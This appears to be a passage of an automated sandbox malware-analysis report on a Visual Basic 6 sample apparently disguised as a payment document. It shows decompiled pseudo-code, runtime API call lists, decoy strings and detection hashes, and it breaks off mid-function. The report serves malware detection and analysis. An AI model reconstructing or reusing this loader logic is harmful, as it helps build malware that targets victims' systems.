__vbaLateIdCallLd.MSVBVM60(?,00000000,00000000,00000000), ref: 00423D31
__vbaStrVarMove.MSVBVM60(?,Chlorogenic,00000001,000000FF,00000000,?,?,?,?,?,?,00000000), ref: 00423D48
__vbaStrMove.MSVBVM60(?,Chlorogenic,00000001,000000FF,00000000,?,?,?,?,?,?,00000000), ref: 00423D52
#712.MSVBVM60(pilfingrenes,00000000,?,Chlorogenic,00000001,000000FF,00000000,?,?,?,?,?,?,00000000), ref: 00423D5D
__vbaStrMove.MSVBVM60(pilfingrenes,00000000,?,Chlorogenic,00000001,000000FF,00000000,?,?,?,?,?,?,00000000), ref: 00423D67
__vbaFreeStr.MSVBVM60(pilfingrenes,00000000,?,Chlorogenic,00000001,000000FF,00000000,?,?,?,?,?,?,00000000), ref: 00423D6F
__vbaFreeObjList.MSVBVM60(00000002,?,00000000,pilfingrenes,00000000,?,Chlorogenic,00000001,000000FF,00000000,?,?,?,?,?,?), ref: 00423D7E
__vbaFreeVar.MSVBVM60(00000001,000000FF,00000000,?,?,?,?,?,?,00000000), ref: 00423D89
__vbaVarDup.MSVBVM60 ref: 00423DA2
#522.MSVBVM60(000000FF,?), ref: 00423DAF
__vbaStrVarMove.MSVBVM60(000000FF,000000FF,?), ref: 00423DB8
__vbaStrMove.MSVBVM60(000000FF,000000FF,?), ref: 00423DC2
__vbaStrCopy.MSVBVM60(000000FF,000000FF,?), ref: 00423DCF
__vbaFreeStr.MSVBVM60(000000FF,000000FF,?), ref: 00423DD7
__vbaFreeVarList.MSVBVM60(00000002,?,000000FF,000000FF,000000FF,?), ref: 00423DE6
#611.MSVBVM60(?,?,00000000), ref: 00423DEE
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 00423DF8
__vbaStrCopy.MSVBVM60(?,?,00000000), ref: 00423E05
__vbaFreeStr.MSVBVM60(?,?,00000000), ref: 00423E0D
__vbaFreeStr.MSVBVM60(00423E60), ref: 00423E52
__vbaFreeStr.MSVBVM60(00423E60), ref: 00423E5A

Strings

TOMBAKKET, xrefs: 00423D8E
pilfingrenes, xrefs: 00423D58
Chlorogenic, xrefs: 00423D3F
FileExists, xrefs: 00423C46
Scripting.FileSystemObject, xrefs: 00423B4A

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$Move$CopyList$CallCheckChkstkHresultLateNew2$#522#611#712#716Addref
String ID: Chlorogenic$FileExists$Scripting.FileSystemObject$TOMBAKKET$pilfingrenes
API String ID: 468688878-3133140895
Opcode ID: 31c78fc5a147076c7a6490383878fbc86ebd4ba84c559f76e7398ccf1fc52da3
Instruction ID: 1bf75f7b7a8c458134d4a5d783cc3f6f9f1ad885855838308597732510d5c15c
Opcode Fuzzy Hash: 31c78fc5a147076c7a6490383878fbc86ebd4ba84c559f76e7398ccf1fc52da3
Instruction Fuzzy Hash: DDA11F71E00218ABDB10EFA1D946FDEB7B9AF04308F60406AF505B71A2DB7D6A45CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423E78 Relevance: 18.1, APIs: 12, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E00423E78(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				char _v28;
				signed int _v36;
				char _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				signed int _v64;
				intOrPtr* _v68;
				signed int _v72;
				intOrPtr* _v80;
				signed int _v84;
				char* _t38;
				signed int _t42;
				char* _t44;
				intOrPtr _t64;

				_push(0x4012b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t64;
				_push(0x40);
				L004012B0();
				_v12 = _t64;
				_v8 = 0x4011d8;
				if( *0x427010 != 0) {
					_v80 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v80 = 0x427010;
				}
				_t38 =  &_v28;
				L004014F0();
				_v68 = _t38;
				_v52 = 0x80020004;
				_v60 = 0xa;
				L004012B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t42 =  *((intOrPtr*)( *_v68 + 0x1c8))(_v68, 0x10, _t38,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x2fc))( *_v80));
				asm("fclex");
				_v72 = _t42;
				if(_v72 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x1c8);
					_push(0x40f280);
					_push(_v68);
					_push(_v72);
					L004014E4();
					_v84 = _t42;
				}
				L004014DE();
				_push(0x3c);
				_push(0xca);
				_push(0xfe);
				L004013EE();
				_v64 = _t42;
				_v36 = _v64;
				_v44 = 3;
				_push(0xfffffffe);
				_push(0xfffffffe);
				_push(0xfffffffe);
				_push(0xffffffff);
				_t44 =  &_v44;
				_push(_t44); // executed
				L004013E8(); // executed
				L004014D2();
				L0040148A();
				L0040142A();
				L004014C0();
				_push(0x423fc5);
				return _t44;
			}

0x00423e7d
0x00423e88
0x00423e89
0x00423e90
0x00423e93
0x00423e9b
0x00423e9e
0x00423eac
0x00423ec6
0x00423eae
0x00423eae
0x00423eb3
0x00423eb8
0x00423ebd
0x00423ebd
0x00423ee1
0x00423ee5
0x00423eea
0x00423eed
0x00423ef4
0x00423efe
0x00423f08
0x00423f09
0x00423f0a
0x00423f0b
0x00423f14
0x00423f1a
0x00423f1c
0x00423f23
0x00423f3f
0x00423f25
0x00423f25
0x00423f2a
0x00423f2f
0x00423f32
0x00423f35
0x00423f3a
0x00423f3a
0x00423f46
0x00423f4b
0x00423f4d
0x00423f52
0x00423f57
0x00423f5c
0x00423f62
0x00423f65
0x00423f6c
0x00423f6e
0x00423f70
0x00423f72
0x00423f74
0x00423f77
0x00423f78
0x00423f82
0x00423f8f
0x00423f97
0x00423f9f
0x00423fa4
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012B6), ref: 00423E93
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,?,?,?,004012B6), ref: 00423EB8
__vbaObjSet.MSVBVM60(?,00000000), ref: 00423EE5
__vbaChkstk.MSVBVM60(?,00000000), ref: 00423EFE
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,000001C8), ref: 00423F35
__vbaFreeObj.MSVBVM60(00000000,?,0040F280,000001C8), ref: 00423F46
#588.MSVBVM60(000000FE,000000CA,0000003C), ref: 00423F57
#702.MSVBVM60(00000003,000000FF,000000FE,000000FE,000000FE,000000FE,000000CA,0000003C), ref: 00423F78
__vbaStrMove.MSVBVM60(00000003,000000FF,000000FE,000000FE,000000FE,000000FE,000000CA,0000003C), ref: 00423F82
__vbaStrCopy.MSVBVM60(00000003,000000FF,000000FE,000000FE,000000FE,000000FE,000000CA,0000003C), ref: 00423F8F
__vbaFreeStr.MSVBVM60(00000003,000000FF,000000FE,000000FE,000000FE,000000FE,000000CA,0000003C), ref: 00423F97
__vbaFreeVar.MSVBVM60(00000003,000000FF,000000FE,000000FE,000000FE,000000FE,000000CA,0000003C), ref: 00423F9F

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$Chkstk$#588#702CheckCopyHresultMoveNew2
String ID:
API String ID: 3222776827-0
Opcode ID: fe12ba3a546313107d60aaef60b0cd930e1372913e568125283f50231fa21950
Instruction ID: 892bdd54b207a4e747ddb5e77dcf5bc70b37e13ebfcf37f3286dc911a34bd720
Opcode Fuzzy Hash: fe12ba3a546313107d60aaef60b0cd930e1372913e568125283f50231fa21950
Instruction Fuzzy Hash: AE314A70E40218AFDB10DF95D886F9EBBB5BF08714F60462AF511BB2E1CBB85905CB19

Uniqueness

Uniqueness Score: -1.00%

Function 00401510 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(VB5!6&*), ref: 00401515

Strings

VB5!6&*, xrefs: 00401510

Memory Dump Source

Source File: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: 539b370b8400a5296323ad5b79c7be7707dbb0dc5e8249481dede50411d27a34
Instruction ID: 989b1e33ae0d4187040ae65b77bcf0f8a9c2171ac8046038f0b65c456748b10f
Opcode Fuzzy Hash: 539b370b8400a5296323ad5b79c7be7707dbb0dc5e8249481dede50411d27a34
Instruction Fuzzy Hash: 478150A648E3C15FC3138B7488655927FB0AE53228B1F45EBC4C1DF4F3E2A9594AC762

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040E903 Relevance: 68.6, APIs: 35, Strings: 4, Instructions: 315
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E0040E903(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a1301137485) {
				intOrPtr _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				short _v28;
				char _v32;
				signed int _v36;
				void* _v40;
				signed int _v44;
				char _v48;
				intOrPtr _v56;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				signed int _v80;
				char _v96;
				intOrPtr _v104;
				char _v112;
				char _v128;
				char* _v152;
				intOrPtr* _v156;
				char _v160;
				signed int _v168;
				intOrPtr _v172;
				char _v176;
				void* _v180;
				void* _v184;
				signed int _v188;
				void* _v192;
				signed int _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				signed int _v212;
				signed int _v216;
				intOrPtr* _v220;
				signed int _v224;
				intOrPtr* _v228;
				signed int _v232;
				intOrPtr* _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				char* _t188;
				char* _t193;
				signed int _t197;
				char* _t203;
				short _t204;
				char* _t212;
				signed int _t216;
				short _t225;
				signed int _t231;
				signed int _t237;
				signed int _t242;
				intOrPtr _t245;
				signed int _t246;
				signed int _t248;
				signed int _t256;
				signed int _t259;
				short _t260;
				void* _t266;
				char* _t280;
				intOrPtr _t292;
				signed int* _t294;
				intOrPtr _t296;
				intOrPtr _t298;
				void* _t300;
				void* _t301;
				intOrPtr _t302;

				_t266 = __ebx;
				_a4 = _a4 - 0xffff;
				_t296 = _t298;
				_push(0x4012b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t298;
				L004012B0();
				_push(__ebx);
				_v12 = _t298;
				_v8 = 0x401290;
				_push(0);
				_push(L"Scripting.FileSystemObject");
				_push( &_v64);
				L00401412();
				_t188 =  &_v64;
				_push(_t188);
				L00401418();
				_push(_t188);
				_push( &_v32);
				L0040141E();
				L004014C0();
				if( *0x427010 != 0) {
					_v220 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v220 = 0x427010;
				}
				_t193 =  &_v48;
				L004014F0();
				_v184 = _t193;
				_t197 =  *((intOrPtr*)( *_v184 + 0x108))(_v184,  &_v44, _t193,  *((intOrPtr*)( *((intOrPtr*)( *_v220)) + 0x304))( *_v220));
				asm("fclex");
				_v188 = _t197;
				if(_v188 >= 0) {
					_v224 = _v224 & 0x00000000;
				} else {
					_push(0x108);
					_push(0x40f280);
					_push(_v184);
					_push(_v188);
					L004014E4();
					_v224 = _t197;
				}
				_v212 = _v44;
				_v44 = _v44 & 0x00000000;
				_v56 = _v212;
				_v64 = 8;
				_push(0xce);
				_push( &_v64);
				_push( &_v80);
				L00401346();
				_v168 = _v168 | 0xffffffff;
				_v176 = 0x8002;
				_push(0x10);
				L004012B0();
				_t294 =  &_v80;
				_t292 = _t298;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(1);
				_push(L"FolderExists");
				_push(_v32);
				_t203 =  &_v96;
				_push(_t203);
				L0040140C();
				_push(_t203);
				_t204 =  &_v176;
				_push(_t204);
				L004013AC();
				_v192 = _t204;
				L004014DE();
				_push( &_v96);
				_push( &_v80);
				_push( &_v64);
				_push(3);
				L004014A2();
				_t300 = _t298 + 0x30;
				if(_v192 != 0) {
					_v56 = 0x80020004;
					_v64 = 0xa;
					_t260 =  &_v64;
					_push(_t260);
					L004014D8();
					_v28 = _t260;
					L004014C0();
					_v152 = _a4 + 0x80;
					_v160 = 0x6011;
					_push(0);
					_push(0x40);
					_push( &_v160);
					_push( &_v64);
					L004013A6();
					_push( &_v64);
					L004014AE();
					L004014D2();
					L004014C0();
				}
				if( *0x427010 != 0) {
					_v228 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v228 = 0x427010;
				}
				_t212 =  &_v48;
				L004014F0();
				_v184 = _t212;
				_t216 =  *((intOrPtr*)( *_v184 + 0x170))(_v184,  &_v44, _t212,  *((intOrPtr*)( *((intOrPtr*)( *_v228)) + 0x304))( *_v228));
				asm("fclex");
				_v188 = _t216;
				if(_v188 >= 0) {
					_v232 = _v232 & 0x00000000;
				} else {
					_push(0x170);
					_push(0x40f280);
					_push(_v184);
					_push(_v188);
					L004014E4();
					_v232 = _t216;
				}
				_v72 = 0x2c;
				_v80 = 2;
				_v152 = L"xanthocone";
				_v160 = 8;
				L00401490();
				_push( &_v80);
				_push(0x1c);
				_push( &_v64);
				_push( &_v96);
				L0040135E();
				_v216 = _v44;
				_v44 = _v44 & 0x00000000;
				_v104 = _v216;
				_v112 = 8;
				_push(0x7c);
				_push( &_v112);
				_push( &_v128);
				L00401364();
				_push( &_v96);
				_t225 =  &_v128;
				_push(_t225);
				L004013BE();
				_v192 = _t225;
				L004014DE();
				_push( &_v128);
				_push( &_v96);
				_push( &_v112);
				_push( &_v80);
				_push( &_v64);
				_push(5);
				L004014A2();
				_t301 = _t300 + 0x18;
				_t231 = _v192;
				if(_t231 != 0) {
					if( *0x427918 != 0) {
						_v236 = 0x427918;
					} else {
						_push(0x427918);
						_push(0x40f514);
						L004014EA();
						_v236 = 0x427918;
					}
					_v184 =  *_v236;
					_t237 =  *((intOrPtr*)( *_v184 + 0x14))(_v184,  &_v48);
					asm("fclex");
					_v188 = _t237;
					if(_v188 >= 0) {
						_v240 = _v240 & 0x00000000;
					} else {
						_push(0x14);
						_push(0x40f504);
						_push(_v184);
						_push(_v188);
						L004014E4();
						_v240 = _t237;
					}
					_v192 = _v48;
					_t242 =  *((intOrPtr*)( *_v192 + 0x108))(_v192,  &_v180);
					asm("fclex");
					_v196 = _t242;
					if(_v196 >= 0) {
						_v244 = _v244 & 0x00000000;
					} else {
						_push(0x108);
						_push(0x40f524);
						_push(_v192);
						_push(_v196);
						L004014E4();
						_v244 = _t242;
					}
					_v24 = _v180;
					_t280 =  &_v48;
					L004014DE();
					_t245 = _a4 + 0x88;
					_push(_t245);
					_push(1);
					L00401358();
					_v204 = _t245;
					_v200 = 1;
					_v36 = _v36 & 0x00000000;
					while(1) {
						_t231 = _v36;
						if(_t231 > _v204) {
							goto L34;
						}
						_t246 = _v36;
						_v184 = _t246;
						if(_v184 >= 0xc1) {
							L00401352();
							_v248 = _t246;
						} else {
							_v248 = _v248 & 0x00000000;
						}
						_t248 = _v36 + 0x68;
						if(_t248 < 0) {
							L36:
							L004013F4();
							_t302 = _t301 - 0xc;
							 *[fs:0x0] = _t302;
							L004012B0();
							_v176 = _t302;
							_v172 = 0x4012a0;
							_v168 = 0;
							 *((intOrPtr*)( *_v156 + 4))(_v156, _t292, _t294, _t266, 0x34,  *[fs:0x0], 0x4012b6, _t296);
							_t256 =  *((intOrPtr*)( *_v156 + 0x2b4))(_v156);
							asm("fclex");
							_v224 = _t256;
							if(_v224 >= 0) {
								_v80 = _v80 & 0x00000000;
							} else {
								_push(0x2b4);
								_push(0x40ef20);
								_push(_v0);
								_push(_v68);
								L004014E4();
								_v80 = _t256;
							}
							_v56 = 0x553;
							_push(_t294);
							E00411CB2();
							_a1301137485 = _a1301137485 + _t280;
							asm("fsubr st0, st0");
							asm("invalid");
							asm("std");
							goto [far dword [eax-0x78];
						}
						asm("cdq");
						L0040134C();
						_t280 =  *((intOrPtr*)(_a4 + 0x94));
						 *((char*)(_t280 + _v184)) = _t248 / 0xff;
						_t259 = _v36 + _v200;
						if(_t259 < 0) {
							goto L36;
						}
						_v36 = _t259;
					}
				}
				L34:
				_push(0x425bd2);
				L004014DE();
				L0040142A();
				return _t231;
			}

0x0040e903
0x0040e903
0x0042567b
0x0042567f
0x0042568a
0x0042568b
0x00425697
0x0042569c
0x0042569f
0x004256a2
0x004256a9
0x004256ab
0x004256b3
0x004256b4
0x004256b9
0x004256bc
0x004256bd
0x004256c2
0x004256c6
0x004256c7
0x004256cf
0x004256db
0x004256f8
0x004256dd
0x004256dd
0x004256e2
0x004256e7
0x004256ec
0x004256ec
0x0042571c
0x00425720
0x00425725
0x0042573d
0x00425743
0x00425745
0x00425752
0x00425777
0x00425754
0x00425754
0x00425759
0x0042575e
0x00425764
0x0042576a
0x0042576f
0x0042576f
0x00425781
0x00425787
0x00425791
0x00425794
0x0042579b
0x004257a3
0x004257a7
0x004257a8
0x004257ad
0x004257b4
0x004257be
0x004257c1
0x004257c6
0x004257c9
0x004257cb
0x004257cc
0x004257cd
0x004257ce
0x004257cf
0x004257d1
0x004257d6
0x004257d9
0x004257dc
0x004257dd
0x004257e5
0x004257e6
0x004257ec
0x004257ed
0x004257f2
0x004257fc
0x00425804
0x00425808
0x0042580c
0x0042580d
0x0042580f
0x00425814
0x00425820
0x00425822
0x00425829
0x00425830
0x00425833
0x00425834
0x00425839
0x00425840
0x0042584d
0x00425853
0x0042585d
0x0042585f
0x00425867
0x0042586b
0x0042586c
0x00425874
0x00425875
0x0042587f
0x00425887
0x00425887
0x00425893
0x004258b0
0x00425895
0x00425895
0x0042589a
0x0042589f
0x004258a4
0x004258a4
0x004258d4
0x004258d8
0x004258dd
0x004258f5
0x004258fb
0x004258fd
0x0042590a
0x0042592f
0x0042590c
0x0042590c
0x00425911
0x00425916
0x0042591c
0x00425922
0x00425927
0x00425927
0x00425936
0x0042593d
0x00425944
0x0042594e
0x00425961
0x00425969
0x0042596a
0x0042596f
0x00425973
0x00425974
0x0042597c
0x00425982
0x0042598c
0x0042598f
0x00425996
0x0042599b
0x0042599f
0x004259a0
0x004259a8
0x004259a9
0x004259ac
0x004259ad
0x004259b2
0x004259bc
0x004259c4
0x004259c8
0x004259cc
0x004259d0
0x004259d4
0x004259d5
0x004259d7
0x004259dc
0x004259df
0x004259e8
0x004259f5
0x00425a12
0x004259f7
0x004259f7
0x004259fc
0x00425a01
0x00425a06
0x00425a06
0x00425a24
0x00425a3c
0x00425a3f
0x00425a41
0x00425a4e
0x00425a70
0x00425a50
0x00425a50
0x00425a52
0x00425a57
0x00425a5d
0x00425a63
0x00425a68
0x00425a68
0x00425a7a
0x00425a95
0x00425a9b
0x00425a9d
0x00425aaa
0x00425acf
0x00425aac
0x00425aac
0x00425ab1
0x00425ab6
0x00425abc
0x00425ac2
0x00425ac7
0x00425ac7
0x00425add
0x00425ae1
0x00425ae4
0x00425aec
0x00425af1
0x00425af2
0x00425af4
0x00425af9
0x00425aff
0x00425b09
0x00425b21
0x00425b21
0x00425b2a
0x00000000
0x00000000
0x00425b2c
0x00425b2f
0x00425b3f
0x00425b4a
0x00425b4f
0x00425b41
0x00425b41
0x00425b41
0x00425b58
0x00425b5b
0x00425be5
0x00425be5
0x00425bed
0x00425bfc
0x00425c06
0x00425c0e
0x00425c11
0x00425c18
0x00425c27
0x00425c32
0x00425c38
0x00425c3a
0x00425c41
0x00425c5d
0x00425c43
0x00425c43
0x00425c48
0x00425c4d
0x00425c50
0x00425c53
0x00425c58
0x00425c58
0x00425c61
0x00425c68
0x00425c69
0x00425c6e
0x00425c74
0x00425c76
0x00425c78
0x00425c79
0x00425c79
0x00425b61
0x00425b6b
0x00425b73
0x00425b7f
0x00425b12
0x00425b18
0x00000000
0x00000000
0x00425b1e
0x00425b1e
0x00425b21
0x00425b84
0x00425b84
0x00425bc4
0x00425bcc
0x00425bd1

APIs

__vbaChkstk.MSVBVM60(00000000,004012B6,?,?,?,00000001,?), ref: 00425697
#716.MSVBVM60(00000000,Scripting.FileSystemObject,00000000,?,?,?,00000000,004012B6,?,?,?,00000001,?), ref: 004256B4
__vbaObjVar.MSVBVM60(00000000,00000000,Scripting.FileSystemObject,00000000,?,?,?,00000000,004012B6,?,?,?,00000001,?), ref: 004256BD
__vbaObjSetAddref.MSVBVM60(?,00000000,00000000,00000000,Scripting.FileSystemObject,00000000,?,?,?,00000000,004012B6,?,?,?,00000001,?), ref: 004256C7
__vbaFreeVar.MSVBVM60(?,00000000,00000000,00000000,Scripting.FileSystemObject,00000000,?,?,?,00000000,004012B6,?,?,?,00000001,?), ref: 004256CF
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,00000000,00000000,00000000,Scripting.FileSystemObject,00000000,?,?,?,00000000,004012B6), ref: 004256E7
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,00000000,004012B6,?,?,?,00000001,?), ref: 00425720
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,00000108,?,?,?,00000000,004012B6,?,?,?,00000001,?), ref: 0042576A
#619.MSVBVM60(?,00000008,000000CE,?,?,?,00000000,004012B6,?,?,?,00000001,?), ref: 004257A8
__vbaChkstk.MSVBVM60(?,00000008,000000CE,?,?,?,00000000,004012B6,?,?,?,00000001,?), ref: 004257C1
__vbaLateMemCallLd.MSVBVM60(?,?,FolderExists,00000001,?,00000008,000000CE,?,?,?,00000000,004012B6,?,?,?,00000001), ref: 004257DD
__vbaVarTstLt.MSVBVM60(?,00000000), ref: 004257ED
__vbaFreeObj.MSVBVM60(?,00000000), ref: 004257FC
__vbaFreeVarList.MSVBVM60(00000003,?,?,?,?,00000000), ref: 0042580F
#648.MSVBVM60(0000000A), ref: 00425834
__vbaFreeVar.MSVBVM60(0000000A), ref: 00425840
#717.MSVBVM60(0000000A,00006011,00000040,00000000), ref: 0042586C

Strings

xanthocone, xrefs: 00425944
FolderExists, xrefs: 004257D1
ZVB, xrefs: 00425936
Scripting.FileSystemObject, xrefs: 004256AB

Memory Dump Source

Source File: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$Chkstk$#619#648#716#717AddrefCallCheckHresultLateListNew2
String ID: FolderExists$Scripting.FileSystemObject$ZVB$xanthocone
API String ID: 2179760661-1615838961
Opcode ID: 18cb180b3fd23f9bac702978f8d156ef851cd9ea14f095b31388dd82d99d5f5b
Instruction ID: d5c3cf606e741f777076197e2e91784887ce4a6b8adc59bc1a8fa3898464fe54
Opcode Fuzzy Hash: 18cb180b3fd23f9bac702978f8d156ef851cd9ea14f095b31388dd82d99d5f5b
Instruction Fuzzy Hash: 7DD10A71D00218EBDB20DFA5D885FDDB7B9BF08304F5081AAE109B72A1DB785A85CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0042456F Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E0042456F(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long* _v16;
				void* _v28;
				signed int _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v60;
				long long _v68;
				char _v76;
				char _v92;
				intOrPtr _v100;
				char _v108;
				char _v124;
				intOrPtr _v132;
				char _v140;
				intOrPtr _v148;
				char _v156;
				long long _v212;
				intOrPtr* _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v240;
				intOrPtr* _v244;
				signed int _v248;
				signed int _v252;
				intOrPtr* _v256;
				signed int _v260;
				signed int _v264;
				intOrPtr* _v268;
				signed int _v272;
				signed int _v276;
				intOrPtr* _v280;
				signed int _v284;
				char* _t163;
				signed int _t167;
				signed int _t169;
				char* _t170;
				char* _t172;
				char* _t175;
				signed int _t177;
				char* _t193;
				signed int _t196;
				signed int _t202;
				signed int _t207;
				signed int _t214;
				signed int _t219;
				intOrPtr _t223;
				void* _t242;
				void* _t244;
				long long* _t245;
				long long _t261;

				_t245 = _t244 - 0xc;
				 *[fs:0x0] = _t245;
				L004012B0();
				_v16 = _t245;
				_v12 = 0x401260;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012b6, _t242);
				_push(0x17);
				_push(0x5c);
				_push(0x84);
				_push( &_v60);
				L004013CA();
				if( *0x427010 != 0) {
					_v244 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v244 = 0x427010;
				}
				_t223 =  *((intOrPtr*)( *_v244));
				_t163 =  &_v44;
				L004014F0();
				_v216 = _t163;
				_t167 =  *((intOrPtr*)( *_v216 + 0x150))(_v216,  &_v32, _t163,  *((intOrPtr*)(_t223 + 0x310))( *_v244));
				asm("fclex");
				_v220 = _t167;
				if(_v220 >= 0) {
					_v248 = _v248 & 0x00000000;
				} else {
					_push(0x150);
					_push(0x40f310);
					_push(_v216);
					_push(_v220);
					L004014E4();
					_v248 = _t167;
				}
				_t261 =  *0x401258;
				_push(_t223);
				_push(_t223);
				 *_t245 = _t261;
				L004013C4();
				_v212 = _t261;
				_v68 = _v212;
				_v76 = 5;
				_push( &_v92);
				_t169 =  &_v76;
				_push(_t169);
				L0040143C();
				_v224 = _t169;
				if(_v224 >= 0) {
					_v252 = _v252 & 0x00000000;
				} else {
					_push(_v224);
					L00401436();
					_v252 = _t169;
				}
				_push(0);
				_push(0xffffffff);
				_push(1);
				_t170 =  &_v92;
				_push(_t170);
				L004013B8();
				L004014D2();
				_push(_t170);
				_push(_v32);
				_push( &_v60);
				_t172 =  &_v36;
				_push(_t172);
				L00401472();
				_push(_t172);
				L00401406();
				_v100 = _t172;
				_v108 = 8;
				_push( &_v108);
				_push( &_v124);
				L00401400();
				_v132 = 0xcf;
				_v140 = 2;
				_t175 =  &_v140;
				_push(_t175);
				_push(0x52);
				_push(L"KMOLE");
				L004013B2();
				_v148 = _t175;
				_v156 = 0x8008;
				_push( &_v124);
				_t177 =  &_v156;
				_push(_t177);
				L004013BE();
				_v228 = _t177;
				_push( &_v40);
				_push( &_v32);
				_push( &_v36);
				_push(3);
				L004014CC();
				L004014DE();
				_push( &_v156);
				_push( &_v124);
				_push( &_v140);
				_push( &_v108);
				_push( &_v60);
				_push( &_v92);
				_push( &_v92);
				_push( &_v76);
				_push(8);
				L004014A2();
				if(_v228 != 0) {
					if( *0x427918 != 0) {
						_v256 = 0x427918;
					} else {
						_push(0x427918);
						_push(0x40f514);
						L004014EA();
						_v256 = 0x427918;
					}
					_v216 =  *_v256;
					_t202 =  *((intOrPtr*)( *_v216 + 0x14))(_v216,  &_v44);
					asm("fclex");
					_v220 = _t202;
					if(_v220 >= 0) {
						_v260 = _v260 & 0x00000000;
					} else {
						_push(0x14);
						_push(0x40f504);
						_push(_v216);
						_push(_v220);
						L004014E4();
						_v260 = _t202;
					}
					_v224 = _v44;
					_t207 =  *((intOrPtr*)( *_v224 + 0xf8))(_v224,  &_v32);
					asm("fclex");
					_v228 = _t207;
					if(_v228 >= 0) {
						_v264 = _v264 & 0x00000000;
					} else {
						_push(0xf8);
						_push(0x40f524);
						_push(_v224);
